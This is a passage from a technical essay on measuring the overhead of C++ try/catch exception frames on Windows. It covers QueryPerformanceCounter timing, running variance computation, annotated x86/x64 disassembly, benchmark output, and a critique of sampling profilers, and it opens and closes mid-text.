How long is this interval? It wraps around every 1193 hours \(4,294,967,296 /
1000 / 60 / 60\) or almost 50 days. Now, there are some weird people out there
who turn off their machines every day, but my machine stays up 24/7/365, and
gets rebooted only a few times a year. So if you read the **GetTickCount**
value just before you get 32-bit overflow, and just after, it looks like your
subroutine took 50 days to execute \(49 days, 17 hours, 2 minutes and 24
seconds, if I believe my calculator\).

Pretty much all the timing mechanisms other than **QueryPerformanceCounter**
are useless because they all depend on the 15ms motherboard timer tick. Thus
they are unsuitable for measuring any code that can execute in less than 30ms.
Since a 2GHz machine can execute 4 instructions per nanosecond, 4000
instructions per microsecond, or 4,000,000 instructions per millisecond, you
can execute 60,000,000 instructions within one timer tick Since you need to
sample intervals that are two timer ticks to get meaningful data, that means
120,000,000 instructions have to be executed within a code sequence to get
meaningful results with a motherboard clock-tick-based timer. That's a lot of
work, and is essentially unrealistic too use a 15ms timer for obtaining good
performance data for most applications.

## QueryPerformanceCounter myths

If you read the DDK, you will find this admonition about the kernel call
**KeQueryPerformanceCounter**

Use this routine as infrequently as possible. Depending on the platform,
**KeQueryPerformanceCounter** can disable system-wide interrupts for a minimal
interval. Consequently, calling this routine frequently, as in an iteration,
defeats its purpose of returning very fine-grained, running time-stamp
information. Calling this routine too frequently can degrade I/O performance
for the calling driver and for the system as a whole.

The operative term here is "depending on the platform". There is no such
behavior for Intel or AMD platforms; this paragraph is sometimes known as "the
Citrix paragraph" because at one time, a company called Citrix \(which now
does other things\) manufactured an _x_ 86 clone. This clone did not have the
**RDTSC** instruction, so to implement **KeQueryPerformanceCounter** with the
same degree of accuracy as the function required involved simulating a high-
performance counter behavior. Often, this paragraph makes its way into
application-level programmers' knowledge, and they sometimes don't know the
source, and even more rarely know the history. It does not apply.

## Mean and Standard Deviation

How reliable is **QueryPerformanceCounter**? Well, we need to measure small
intervals so we are less likely to be perturbed by context swaps. We shouldn't
measure too small an interval because, statistically, we will be severely
impacted by gating error.

Note that if you don't know the reliability of your measurement tool, you
don't know the validity of your measurements.

So how can we determine how reliable our measurements are? One conventional
statistical model is _standard deviation_. The simplistic model of this is to
compute the mean of a set of samples, then compute the square of the
difference of each sample from the mean. So, for example, if I collect a
million samples, then I have to have an array of a million elements, so that
once I compute the mean, I can then compute the deviation of each sample from
the mean. A bit heavy-duty. The resulting computation is called the _variance_
, _s_ 2, and the standard deviation is the square root of the variance.

<img src='img/Temp2_5553.gif' width='277' height='153' />

However, there is a much simpler computation, an equivalent formula, which is

<img src='img/Temp2_5547.gif' width='295' height='146' />

This formula requires only three variables: one to hold _n_ , the number of
samples \(which in some experiments will be a constant\), one to hold ** Σ**
_x i_2, and one to hold **Σ** _x i_.

Thus the code is very simple:

[code]

    double sumx = 0.0;
    double sumxsquared = 0.0;
    for(int i = 0; i < n; i++)
       { /* perform experiment */
        double x = ...compute sample value
        sumx += x;
        sumxsquared += x * x;  
       } /* perform experiment */
    
    double var = (n * sumxsquared - (sumx * sumx)) / (n*(n - 1));
[/code]

[code]

    // sumx / n is the mean
    // sqrt(var) is the standard deviation
[/code]

This means that, when doing a scientific experiment \(not just a handwave\)
there is no reason to not know the reliability of a measurement.

The standard deviation is often referred to as "sigma", the Greek letter σ. So
we talk about something being "one sigma out" meaning it is within one
standard deviation on the normal curve. Hence the quality program name, "six
sigma", which means the statistical probability of failure is six sigmas out
from the mean on the normal curve. A **six sigma process** is one in which
99.99966% of the products manufactured are statistically expected to be free
of defects \(3.4 defects per million\). \(The only reason this is interesting
is that it motivates the name of the function I wrote, which is called
**sigma**\).

## The Experiment

The experiment was to call a function which did nothing, and call a similar
function that had a **try/catch** block which also did nothing. The difference
in cost between the two calls represents the cost of the exception frame.

The two functions which are called are

[code]

    __declspec(noinline) void DoSomethingExcp()
        {
        try {
             DoOther();
            }
        catch(int)
            {
             ReportCatch();
            }
        }
    
    __declspec(noinline) void DoSomething()
        {
         DoOther();
        } 
[/code]

There are some support functions that are provided

[code]

    __declspec(noinline) void DoOther()
        {
        }
    
    __declspec(noinline)void ReportCatch()
        {
        } 
[/code]

Note the use of **\_\_declspec\(noinline\)**. When conducting experiments of
this nature, it is essential to defeat the implicit inlining the compiler can
do, Otherwise, the entire program collapses to nothing, because the compiler
can detect that the function bodies do nothing, and therefore will not even
bother to generate the call. So if you do not define this global optimization,
the calls to **DomSomethingExcp** and **DoSomething** will generate no code,
which of course would distort the experiment. It is essential in such cases
that you understand _what_ you are measuring, and if you are measuring empty
code bodies you are not measuring anything useful.

The code below shows the debug mode version of the code. I have highlighted
the instructions which are added to handle the **try/catch** mechanism. Note
that the **FS:** segment register is a pointer to the _thread context block_ ,
and the 0th element of this block is the pointer to the current exception
frame. Whenever a thread is scheduled to run, the operating system sets the
**FS:** register to the context block for that thread; thus the exception
frames are per-thread.

Note that this adds six instructions. That's 29 bytes of code. The Xeon is a
_superscalar architecture_ , which means it has multiple ALUs and can dispatch
multiple instructions per clock cycle. A clock cycle is the inverse of the
processor speed in GHz, so a single clock cycle on this machine is 470 _pico_
seconds. Since two instructions can be dispatched per clock cycle, the average
_instruction_ time \(not counting data fetch time\) is 235 picoseconds. That
turns into a little over 4 instructions per _nano_ second. So we should be
able to predict that the six instructions would add about 1.5 nanoseconds to
this function. Cache hits turn out to impact this performance, but there are
other factors going on here. For example, there is an instruction cache on the
CPU chip, which means that some of the instructions already in the I-cache.
The XEON architecture does _speculative execution_ , so it is prefetching data
into the caches based upon likely future instructions \(there is also a
_branch predictor_ which controls which execution path should be prefetched\).
The result of this is to minimize the number of cache misses that are likely
to occur, particularly when the code is executed in a tight loop. The L2 cache
is a _write-back cache_ , meaning that when the value in **FS:0** is updated,
it is not written back to memory, but retained in the L2 cache until the cache
line needs to be reused, meaning that there is no write time to memory
involved here.

Note that all of these factors impact _actual_ performance; the PDP-11
approach, of counting instruction length, counting memory cycles based on data
operands, and summing these with the \(multi-cycle\) execution times of some
instructions, is a dead model for predicting performance. You _cannot_ think
that a modern XEON performance can be computed in the same fashion that was
used for an 8088. Yet some programmers still persist in thinking that
instruction lengths, instruction counts, and applying a fixed memory cost
based on the operand fetches are all valid ways to compute performance. You
can always tell an amateur because they treat modern architectures like
PDP-11s.

[code]

    ?DoSomethingExcp@@YAXXZ PROC            ; DoSomethingExcp, COMDAT
    ; 15   :     {
      00000 55                push    ebp
      00001 8b ec             mov     ebp, esp
      00003 6a ff             push    -1
      00005 68 00 00 00 00    push    __ehhandler$?DoSomethingExcp@@YAXXZ
      0000a 64 a1 00 00 00 00 mov     eax, DWORD PTR fs:0
      00010 50                push    eax
      00011 51                push    ecx
      00012 81 ec c0 00 00 00 sub     esp, 192               ; 000000c0H
      00018 53                push    ebx
      00019 56                push    esi
      0001a 57                push    edi
      0001b 8d bd 30 ff ff ff lea     edi, DWORD PTR [ebp-208]
      00021 b9 30 00 00 00    mov     ecx, 48                 ; 00000030H
      00026 b8 cc cc cc cc    mov     eax, -858993460         ; ccccccccH
      0002b f3 ab             rep stosd
      0002d a1 00 00 00 00    mov     eax, DWORD PTR ___security_cookie
      00032 33 c5             xor     eax, ebp
      00034 50                push    eax
    
[/code]

| Function prolog, debug mode  
---|---
[code]

       00035 8d 45 f4             lea  eax, DWORD PTR __$EHRec$[ebp+4]  
       00038 64 a3 00 00 00 00    mov  DWORD PTR fs:0, eax  
       0003e 89 65 f0             mov  DWORD PTR __$EHRec$[ebp], esp  
     ; 16   :     try {  
       00041 c7 45 fc 00 00 00 00 mov  DWORD PTR __$EHRec$[ebp+12], 0
    
[/code]  
| **try** setup

[code]

     ; 17   :         DoOther();  
       00048 e8 00 00 00 00       call    ?DoOther@@YAXXZ     ; DoOther  
     ; 18   :         }  
       0004d eb 12                jmp     SHORT $LN4@DoSomethin
[/code]  
| body of code

[code]

    __catch$?DoSomethingExcp@@YAXXZ$0:  
      ; 19   :     catch(int)  
      ; 20   :         {  
      ; 21   :          ReportCatch();  
        0004f e8 00 00 00 00             call ?ReportCatch@@YAXXZ ; ReportCatch  
      ; 22   :         }  
        00054 c7 45 fc ff ff ff ff       mov DWORD PTR __$EHRec$[ebp+12], -1  
        0005b b8 00 00 00 00             mov eax, $LN2@DoSomethin  
        00060 c3                         ret 0   
    $LN4@DoSomethin:
         00061	c7 45 fc ff ff ff ff mov DWORD PTR __$EHRec$[ebp+12], -1
[/code]  
| **catch** code \(never executed\)

[code]

    $LN2@DoSomethin:
    ; 23   :     }
      00068	8b 4d f4             mov  ecx, DWORD PTR __$EHRec$[ebp+4]
      0006b	64 89 0d 00 00 00 00 mov  DWORD PTR fs:0, ecx
[/code]  
| **try** teardown

[code]

      00072 59                pop     ecx
      00073 5f                pop     edi
      00074 5e                pop     esi
      00075 5b                pop     ebx
      00076 81 c4 d0 00 00 00 add     esp, 208               ; 000000d0H
      0007c 3b ec             cmp     ebp, esp
      0007e e8 00 00 00 00    call    __RTC_CheckEsp
      00083 8b e5             mov     esp, ebp
      00085 5d                pop     ebp
      00086 c3                ret     0
     
[/code]  
| Function epilog, debug mode  
## Cost of Exceptions

This program was compiled for a 32-bit target, using Visual Studio 2010, and
run on an 8-core Dell Precision T7500 computer. The full details, from
**HKEY\_LOCAL\_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0** is:

<img src='img/Temp2_5550.gif' width='528' height='283' />

Here is the output from the program

[code]

    **N=1000000
    tests per iteration: 100
    Exception version
       mean = 7.431us
       sd = 3.909us
    No exception version
       mean= 7.185us
       sd = 3.739us
    Difference
    Difference per test: 246.063ns
    Average cost per exception frame: 2.461ns**
[/code]  
---  
Note the difference between the two averages: 246 microseconds. According to
this set of numbers, calling a function that uses a **try/catch** block takes
an average of 2.5 _nano_ seconds of additional overhead\!

## Measuring Optimized Code

So let's compile that program using the **Release** configuration and see what
the output is:

[code]

    N=1000000
    tests per iteration: 100
    Exception version
       mean = 23.366ns
       sd = 334.813ns
    No exception version
       mean= 23.905ns
       sd = 323.720ns
    Difference
       Difference per test: -0.539ns
       Average cost per exception frame: -0.005ns 
[/code]  
---  
WHOA\! This says that the exception version is 5 picoseconds _faster_ than the
non-exception version\! Now, this is more than a little bit suspect. What
happened here? How did we get these numbers?

Well, this is where you have to make sure you know _what_ is being measured.
Let's look at the generated code in Release mode:

[code]

    ; Function compile flags: /Ogtp
    ?DoSomething@@YAXXZ PROC         ; DoSomething, COMDAT
    ; 26   :      DoOther();
    ; 27   :     }
      00000 c3               ret     0 
[/code]

|  
---|---
[code]

    ; Function compile flags: /Ogtp
    ?DoSomethingExcp@@YAXXZ PROC ; DoSomethingExcp, COMDAT
    ; 16   :     try {
    ; 17   :         DoOther();
    ; 18   :         }
    ; 19   :     catch(int)
    ; 20   :         {
    ; 21   :          ReportCatch();
    ; 22   :         }
    ; 23   :     }
      00000 c3               ret     0 
[/code]  
|  
Note that these have _exactly the same code_ , specifically, none at all\! So
the values we get are completely meaningless, and in fact what we are seeing
are the effects of the standard deviation, which represents noise in the
sampling\!

So we haven't really measured anything\! This means the compiler has ignored
our **\_\_declspec\(noinline\)** attribution.

But note those "Function compile flags" which are "/Ogtp". What do these mean?

/O is the optimization flag

  * /Og means "perform global optimizations"
  * /Ot means "optimize speed over code size"
  * /Op is undocumented and we have no idea what it means\!

So let's disable that "global optimization" option. To do this, I selected the
source file I'm working with, and asked for its properties. I changed the
settings to disable optimizations, as indicated here:

<img src='img/Temp2_5549.gif' width='850' height='257' />

I have changed Optimization to be **/Od** , and Whole Program Optimization is
set to **No**.

In addition, after inspecting the code, I chose to disable certain runtime
checks, as shown below:

<img src='img/Temp2_5556.gif' width='851' height='332' />

I have set "Buffer Security Check" to **No** and "Enable Function-Level
Linking" to **No**.

The generated code is shown below. Note that this code involves nine
instructions, for 42 bytes of instructions.

[code]

    ?DoSomethingExcp@@YAXXZ PROC                            ; DoSomethingExcp
    ; 15   :     {
      00020 55                    push    ebp
      00021 8b ec                 mov     ebp, esp
    
[/code]

| Function prolog  
---|---
[code]

       00023 6a ff                 push    -1
       00025 68 00 00 00 00        push    __ehhandler$?DoSomethingExcp@@YAXXZ
       0002a 64 a1 00 00 00 00     mov     eax, DWORD PTR fs:0
       00030 50                    push    eax
       00031 64 89 25 00 00 00 00  mov     DWORD PTR fs:0, esp 
    
[/code]  
| **try** setup

[code]

        00038 51                    push    ecx
        00039 53                    push    ebx  
        0003a 56                    push    esi  
        0003b 57                    push    edi  
       
[/code]  
| Function prolog

[code]

        0003c 89 65 f0              mov     DWORD PTR __$EHRec$[ebp], esp  
      ; 16   :     try {  
        0003f c7 45 fc 00 00 00 00  mov     DWORD PTR __$EHRec$[ebp+12], 0
[/code]  
| **try** setup

[code]

      
       ; 17   :         DoOther();  
         00046 e8 00 00 00 00        call    ?DoOther@@YAXXZ                ; DoOther  
       ; 18   :         }  
         0004b eb 12                 jmp     SHORT $LN4@DoSomethin
[/code]  
| **try** body

[code]

      
       __catch$?DoSomethingExcp@@YAXXZ$0:  
       ; 19   :     catch(int)  
       ; 20   :         {  
       ; 21   :          ReportCatch();  
         0004d e8 00 00 00 00        call    ?ReportCatch@@YAXXZ    ; ReportCatch  
       ; 22   :         }  
         00052 c7 45 fc ff ff ff ff  mov     DWORD PTR __$EHRec$[ebp+12], -1  
         00059 b8 00 00 00 00        mov     eax, $LN2@DoSomethin  
         0005e c3                    ret     0  
       $LN4@DoSomethin:  
         0005f c7 45 fc ff ff ff ff  mov     DWORD PTR __$EHRec$[ebp+12], -1  
       $LN2@DoSomethin:  
     
[/code]  
| **catch** handler

[code]

       ; 23   :     }  
        00066 8b 4d f4               mov     ecx, DWORD PTR __$EHRec$[ebp+4]  
        00069 64 89 0d 00 00 00 00   mov     DWORD PTR fs:0, ecx
[/code]  
| **try** teardown

[code]

        00070 5f                     pop     edi  
        00071 5e                     pop     esi  
        00072 5b                     pop     ebx  
        00073 8b e5                  mov     esp, ebp  
        00075 5d                     pop     ebp  
        00076 c3                     ret     0  
[/code]  
| Function epilog  
Now, when we re-run the code, we get another interesting result:

[code]

    N=1000000
    tests per iteration: 100
    Exception version
       mean = 1.188us
       sd = 2.008us
    No exception version
       mean= 560.365ns
       sd = 1.441us
    Difference
       Difference per test: 627.405ns
       Average cost per exception frame: 6.274ns 
[/code]  
---  
Running it a second time I get

[code]

    N=1000000
    tests per iteration: 100
    Exception version
       mean = 1.119us
       sd = 1.159us
    No exception version
       mean= 552.066ns
       sd = 817.337ns
    Difference
       Difference per test: 567.246ns
       Average cost per exception frame: 5.672ns 
[/code]  
---  
This is beginning to make a lot more sense. Note there is a slight difference
between the two experiments, which is not surprising because of the fairly
high standard deviation, which is now larger than the mean.

But notice that it takes _longer_ to handle exceptions in release mode. Why?
Well, let's look at the code that was generated and the times.

_**Mode**_|  _**Instructions**_|  _**Bytes**_|  _**Time**_| ** _Per Second_**  
---|---|---|---|---  
Debug| 6| 29| 2.5ns| 400,000,000  
Release| 9| 42| 6ns| 166,666,666  
Note that if we take the inverse of the time, we get the number of exception
frames we can set _per second_. If I execute a program that establishes 400
_million_ exception frames during its execution, I add _one second_ to the
total debug execution time. Big whoop. In release mode, this is reduced, I can
use up a second setting only 167 _million_ exception frames. Double big whoop.
So why should I care about exception costs?

## The 64-bit world

Note that the above tests were done on the 32-bit compiler. The 64-bit world
is quite a bit different. For one thing, Microsoft made a decision that an
"exception" is an _exceptional_ situation. Therefore, a decision was made to
implement an exception mechanism that imposes __ as close to zero as possible
__ cost during normal execution, but is in fact fairly expensive when an
exception is actually thrown. The way this is handled is by creating a set of
compile-time tables that are all linked together to indicate which exception
handler applies to which range of program-counter values. When an exception is
thrown, this table is searched, and a determination is made as to where the
associated exception handler code is found.

So let's look at the code generated for an _x_ 64 platform. Note that this is
again compiled with optimizations disabled

[code]

    ?DoSomethingExcp@@YAXXZ PROC                            ; DoSomethingExcp
    ; 15   :     {
    $LN9:
      00020 48 83 ec 38                 sub     rsp, 56             ; 00000038H
      00024 48 c7 44 24 20 fe ff ff ff  mov     QWORD PTR $T88972[rsp], -2
[/code]

| Function prolog  
---|---
[code]

    ; 16   :     try {
    ; 17   :         DoOther();
      0002d e8 00 00 00 00   call    ?DoOther@@YAXXZ                ; DoOther
      00032 90               npad    1
    $LN7@DoSomethin:
    ; 18   :         }
    ; 19   :     catch(int)
    ; 20   :         {
    ; 21   :          ReportCatch();
    ; 22   :         }
    ; 23   :     }
[/code]  
| **try** body

[code]

      00033 48 83 c4 38      add     rsp, 56                        ; 00000038H
      00037 c3               ret     0
    ?DoSomethingExcp@@YAXXZ ENDP                            ; DoSomethingExcp
    ; Function compile flags: /Odtp
    _TEXT   ENDS
[/code]  
| Function epilog

[code]

    text$x  SEGMENT
    $T88972 = 32
    ?catch$0@?0??DoSomethingExcp@@YAXXZ@4HA PROC ; `DoSomethingExcp'::`1'::catch$0
    ; 19   :     catch(int)
      00000 48 89 54 24 10   mov     QWORD PTR [rsp+16], rdx
      00005 55               push    rbp
      00006 48 83 ec 20      sub     rsp, 32                        ; 00000020H
      0000a 48 8b ea         mov     rbp, rdx
    __catch$?DoSomethingExcp@@YAXXZ$0:
    ; 20   :         {
    ; 21   :          ReportCatch();
      0000d e8 00 00 00 00   call    ?ReportCatch@@YAXXZ    ; ReportCatch
      00012 90               npad    1
    ; 22   :         }
      00013 48 8d 05 00 00
            00 00            lea     rax, $LN7@catch$0
      0001a 48 83 c4 20      add     rsp, 32                        ; 00000020H
      0001e 5d               pop     rbp
      0001f c3               ret     0
    ?catch$0@?0??DoSomethingExcp@@YAXXZ@4HA ENDP ; `DoSomethingExcp'::`1'::catch$0
[/code]  
| **catch** handler  
Now let's compare the code from the exception-handling function with the code
for the function that does not throw exceptions:

[code]

    ?DoSomething@@YAXXZ PROC                           ; DoSomething
    ; 25   :     {
    $LN3:
      00040	48 83 ec 28	  sub    rsp, 40           ; 00000028H
[/code]

| Function prolog  
---|---
[code]

    ; 26   :      DoOther();
      00044	e8 00 00 00 00	 call	 ?DoOther@@YAXXZ     ; DoOther
    ; 27   :     }
[/code]  
| Function body

[code]

      00049	48 83 c4 28       add  rsp, 40             ; 00000028H
      0004d	c3		  ret	 0
    ?DoSomething@@YAXXZ ENDP                           ; DoSomething
[/code]  
| Function epilog  
Note that I have highlighted several pieces of code. For example, the function
prolog and epilog code is highlighted in green. It is identical in both
versions. The **npad 1** instruction may appear to be a bit odd; this is the
"nop-pad" macro and its purpose is to generate a sequence of code bytes that
cause some particular alignment of the following code. This is usually done to
keep the instructions aligned on a **DWORD** or other boundary, which can help
in the time of an instruction fetch by keeping the instructions aligned to
cache boundaries and memory-fetch boundaries.

The **npad** macro which is given in the assembly code header file
**listing.inc** , which is found in the standard **include** directory, does
not generate correct code for 64-bit platforms; it sometimes does operations
which on a 32-bit system leave certain registers unchanged, but in the 64-bit
world will cause the high-order 32 bits of a 64-bit register to be zeroed. For
example, **npad 2** will generate the instruction

[code]

    **mov edi, edi**
[/code]

which is a 2-byte instruction that does nothing in the 32-bit world, but in
the 64-bit world it zeroes the high-order 32 bits of **edi**. I do not
understand why an **npad 1** directive was generated, because without it the
next instruction would have been generated on a **DWORD** boundary. So either
this is a compiler error or there is a serious subtlety of the _x_ 64
pipelines I am not aware of \(and believe me, the compiler writers have read
those sections of the Intel and AMD documentation quite diligently, more so
than I have\).

Notice that the only change between the exception version code and the non-
exception version code is _one_ instruction to handle the exception. It
initializes that stack's exception record.

I do not currently have a 64-bit system I can run this on. When my 64-bit
system comes back from the computer hospital, I will run this experiment and
report on it.

## Making the output pretty

People do not deal well with exponents. If I told you that the average time
was 5.6×10-9 seconds, it is not nearly as interesting as saying it is 5.6ns.
Years of doing performance measurement have taught me that numbers like
2345678 microseconds is not as informative as saying 2.3 seconds, and that
exponents are not useful measures. So, to pretty things up, I typically use a
function as shown below to convert the number to "user-level" values. While
purists will point out that there are some interesting boundary conditions
because of floating point representations, the truth is that this works well
enough for ordinary use and I've never seen any of the potential boundary
glitches.

Because I was writing a trivial one-off console app, I was using **printf** to
produce the output, rather than **\_tprintf** and doing everything in Unicode,
as I would do for a piece of production code. So for this function, I returned
an 8-bit character string, a **CStringA**. The console app was created with
the "Use ATL" option.

[code]

     CStringA TimeToString(double t)
         {
          CStringA s;
          if(t > 1.000)
              s.Format("%11.9fs", t);
          else
          if(t > 0.001)
              s.Format("%4.3fms", t * 1000.0);
          else
          if(t > 0.000001)
              s.Format("%4.3fus", t * 1000000.0);
          else
              s.Format("%4.3fns", t * 1000000000.0);
          return s;
         } 
[/code]

I have also created versions of this so that the values line up in columns,
e.g.

[code]

    2.345s
      123ms
         456us
            789ns
[/code]

which makes a nice visual display. When reporting time values, it helps a lot
if the presentation is human-readable. I also would not have printed out
1000000 as the number of iterations; I would have caused it to display
1,000,000 by using the **GetNumberFormat** API, using
**LOCALE\_USER\_DEFAULT**.

## The actual code

The heart of the function is the code shown below. Note that it runs an outer
loop a million times **\(limit**\)**,** and an inner loop 100 times
**\(sublimit**\)**.** The idea here is to minimize the perturbations caused by
lengthy individual tests.

Another interesting statistical variant of this code, because we can compute
the current mean and standard deviation, is to discard any experiment that
falls outside, say, one standard deviation. Generally, it is unrealistic to
maintain a million samples in an array and generate complete error bars. So
the statistical formula I use is a convenient rewrite of the simplistic
equation to minimize memory overheads and potential page faults in handling a
large array.

[code]

    for(UINT i = 0; i < limit; ++i)
         { /* loop1 */
          LARGE_INTEGER start;
          QueryPerformanceCounter(&start);
    
          for(UINT j = 0; j < sublimit; ++j)
              DoSomethingExcp();
    
          LARGE_INTEGER end;
          QueryPerformanceCounter(&end);
          double d = (double)(end.QuadPart - start.QuadPart);
          SumXiException += d;
          SumXi2Exception += (d * d);
    
          QueryPerformanceCounter(&start);
          for(UINT j = 0; j < sublimit; ++j)
              DoSomething();
          QueryPerformanceCounter(&end);
          d = (double)(end.QuadPart - start.QuadPart);
          SumXiNoException += d;
          SumXi2NoException += (d * d);
         } /* loop1 */
         
        LARGE_INTEGER freq;
        QueryPerformanceFrequency(&freq);
        double meanExceptionTicks = SumXiException / (double) limit;
        double meanExceptionTime = meanExceptionTicks / (double)freq.QuadPart; 
        
        printf("   mean = %s\n", TimeToString(meanExceptionTime));
        printf("   sd = %s\n", TimeToString(sigma(limit, SumXi2Exception, SumXiException) / (double)freq.QuadPart));
[/code]

Where we define the **sigma** function as

[code]

     double sigma(double n, double sumxi2, double sumxi)
         {
          return sqrt( (n * sumxi2 - (sumxi * sumxi)) / (n * (n - 1.0)));
         }
[/code]

## The VS2010 Performance Monitor tool

Visual Studio 2010 has a performance analysis tool. The good news, it is very
good, and very powerful. The bad news is that it is very slow. It takes a long
time to run a test, and an even longer time to analyze the results. But the
results are useful and interesting, and I would recommend it for serious
performance improvement efforts \(my biases might be showing; it collects
information in the same way my Bliss Timer Package did performance analysis in
the early 1970s\).

Not all versions of VS have the performance analyzer; the Express version
certainly doesn't have it.

To start the performance wizard, use the **Analyze > Launch Performance
Wizard** menu option. You will see a screen like this one:

<img src='img/Temp2_5548.gif' width='647' height='556' />

You get the highest-precision, most reliable analysis if you use the
**Instrumentation** option. This is often far more meaningful than the **CPU
Sampling** option. It is also very slow. If you are instrumenting a serious
app, plan on starting the experiment before lunch. It means that you need to
create experiments that don't involve a lot of user interaction, because the
interactions will be _very_ slow.

Due to terminal brain damage at Microsoft, VS _insists_ that the performance
report be put on the local disk. There is no sane reason this decision is
preempted by Microsoft, because people like me run with _no_ local files on
our machines; I put _every_ file on my file server. All my documents, all my
projects, _everything_ is on the file server, but Microsoft simply cannot cope
with reality in this regard. I have no idea why decisions this stupid are
made. Or why they think they have the right to preempt the way I work.

After it runs, you will get output similar to that shown below. Note that you
will first need to select the "call tree" display, and you will have to open
each level to see what is within it. If you copy the lines out, you get a tab-
delimited file suitable for applications like Excel. Note that only some of
the columns appear in this snapshot. Alas, one of the most important columns,
the call count, which should be on the left where it is readily visible, is
actually on the far right, and not visible without a lot of horizontal
scrolling.

<img src='img/Temp2_5555.gif' width='916' height='497' />

Here is a somewhat edited output; I did not include all the columns simply for
page width considerations. Times are in milliseconds.

_**Function Name**_|  _**Elapsed Inclusive Time**_|  _**Application Inclusive
Time**_|  _**Number of Calls**_  
---|---|---|---  
DoSomethingExcp\(void\)| 1,217.46| 1,018.86| 100,000,000  
DoSomething\(void\)| 537.07| 367.41| 100,000,000  
What can we learn from this? Well, for one thing, we get a better picture of
the time spent handling kernel tasks; the "Application time" appears to be the
time actually spent in the application, and the "Elapsed time" is "wall clock"
time. The "inclusive" time means the time spent in that function and all the
functions it calls, which, because these functions are "leaf" functions from
our viewpoint, means that this is the only number we care about. So we
discover that for this experiment, which was run on a 32-bit machine using the
32-bit unoptimized release version of the code, that \(1018.76 - 367.41\)
milliseconds, or approximately 651ms are required, across 100,000,000 calls,
to set exception frames.

So how much does it cost, according to these numbers, to set _one_ exception
frame?

651×10-3 seconds / 1×108 = 651×10-11 seconds = 6,510×10-12 seconds = 6,500
picoseconds = 6.5 nanoseconds. Note that this is consistent with values I got
with the experiments I did.

And, of course, observe that in 100,000,000 calls, I did not add even _one_
second to the total run time\!

## What about that CPU Sampling method?

The CPU Sampling method, like most bad ideas, was promulgated by Unix and
treated as if it were The Ultimate Solution To All Performance Measurement
Problems. The idea is that you take a timer tick notification every _n_
milliseconds in the controlling process, and when you get one, you stop the
process being measured and look at its Program Counter \(known in the _x_ 86
as IP, EIP or RIP register; depending on what mode you are in, IP is 16-bit,
EIP is 32-bit, and RIP is 64-bit\). The idea is that if there is a "hot spot"
in the program, you will find that statistically, you will be more likely to
find the program counter in that hotspot.

Cute, but it is at best a poor approximation.

Many years ago, I wrote The World's Fastest Storage Allocator. This allocator
was so fast, we even considered modifying the compiler to treat our equivalent
of **malloc/free** as _intrinsic functions_ , that is, functions that
generated inline code rather than function calls. I spent _hours_ single-
stepping storage allocation requests, and tweaking the algorithm to minimize
the number of instructions required to perform an allocation. The details of
this allocator are described in the book **_IDL: The Language and its
Implementation_**, by Nestor, Newcomer, Giannini and Stone \(Prentice-Hall,
1989\). The allocator itself is based on the Ph.D. dissertation of Charles B.
Weinstock, and the algorithm he developed called _QuickFit_ , \(Weinstock. _**
Dynamic Storage Allocation Techniques**_ Ph.D. dissertation, Carnegie Mellon
University, Department of Computer Science, Pittsburgh PA, 1976\). One of the
product groups in the company applied the Unix excuse for a performance
measurement tool, and the project manager came to me and said "We have
identified our performance problem. It's your allocator\!" I didn't believe
this, because on the average I could an allocation in three instructions and
rarely needed more than about forty. So I brought up the product under the dbx
debugger \(predecessor of gdb, and perhaps one of the worst debuggers I have
ever had the misfortune to be subjected to\), reached into my allocator, and
set a couple Boolean variables to TRUE. \(Like the Microsoft allocator, I had
two versions, the debug and release versions, and the "debug" version had a
few instrumentation features compiled in\). When the program finished, I used
the debugger to examine some internal counters. What I learned was that the
allocator had been called over 4,000,000 times\! Well, the question then
became "why", and a few more hours poking about with the debugger identified
the culprit: a piece of code that formatted a line for output. I will show
this as if it were C code \(it wasn't\).

[code]

    char * p;
    int len = ...compute length of string required...;
    p = malloc(len);
    ...format line into buffer p
    ...write the line to the output file
    free(p);
[/code]

When we confronted the programmer, his excuse was "Well, I don't know how long
the line is going to be, so I have to always dynamically allocate the buffer".
I rewrote the code to be

[code]

    char * p;
    char buffer[SOME_DEFAULT_LENGTH]; // Actually a constant set to 80
    int len = ...compute length of string required...;
    if(len < sizeof(buffer))
        p = buffer;
    else
        p = malloc(len);
    ...format line into buffer p
    ...write the line to the output file
    if(p != buffer)
       free(p);
[/code]

This had several effects

  * It removed the calls to the storage allocator \(although it was only _slightly_ faster than the allocator's best speed, it was about a factor of five faster than the _average_ case,
  * It removed the allocator from the CPU Sampling "Hotspot" report.
  * The number of calls dropped from over 4,000,000 to about \(if I recall\) slightly over 200,000. \[This was in 1982, so it was close to 30 years ago\!\]

So while the CPU Sampling technique can identify places that consume a lot of
time, it can't tell you _why_ it was there because the call count is not
derivable from this technique.

So here is the CPU Sampling report from my performance tester program:

<img src='img/Temp2_5551.gif' width='861' height='200' />

Note that there is _nothing_ in this report \(which is shown in its
entirety\!\) that would help you deduce that there is close to zero cost for
setting an exception frame. In fact, it superficially looks as if setting an
exception is somewhere between a factor of 3 and a factor of 5 slower\! \(112
/ 38 = 2.95; 94 / 19 = 4.95, to be precise\) As the detailed performance
experiments, both mine and using the instrumented Visual Studio analyzer, this
is simply not true. Therefore, I assert that if you are truly concerned about
performance, you have to pay the price and use the instrumented version of
performance measurement.

After fifteen years of performance measurement, I have come to the conclusion
that sampling performance measurement is at best misleading, and at worst
harmful because you draw erroneous conclusions and generalizations. I would
not use it in any case where I really care about doing performance
improvement.

\[Another funny story: a year after the IDL book came out, I was in a
technical review meeting for a design I did. One of the people sitting around
the table said "That's not a particularly good design. It will have lousy
performance". So I asked "Why?" He replied "Because it is doing a malloc, and
storage allocation is too expensive for real programs". I started to object,
and then I realized the context he was coming from, so I said "Oh, that's
right, you're used to Unix, where the storage allocator sucks\!". He became
indignant, and said "I'm tired of you always running Unix down\! What do you
know about storage allocators, anyway?" Unix/linux fanboys are particularly
prone to this; they are so convinced that Unix/linux is so advanced that no
other operating system in history can compare to it, and they fail to realize
that this is an operating system firmly rooted in the 1960s. They are
convinced that C is the best language in history, and if they started on the
PDP-11, they believe that the PDP-11 C compiler represents State of the Art
\(and yes, these people are still teaching this in 2011\!\). They need a
serious dose of reality, and I decided I would give him one. So I pointed at
him and said "hold that thought\!" and walked out of the meeting. I went down
the hall to my office and got a copy of the IDL book. I brought it back and
opened it to Chapter 14, titled "Storage Allocation". I asked him "What does
that chapter heading say?" He responded. I said "It describes a high-
performance, low-fragmentation storage allocator that is quite possibly the
fastest allocator in existence". I closed the book, and pointed to my name on
the cover. "I wrote that allocator, and I wrote that chapter. So you might
say, when it comes to what I know about storage allocation, I wrote the
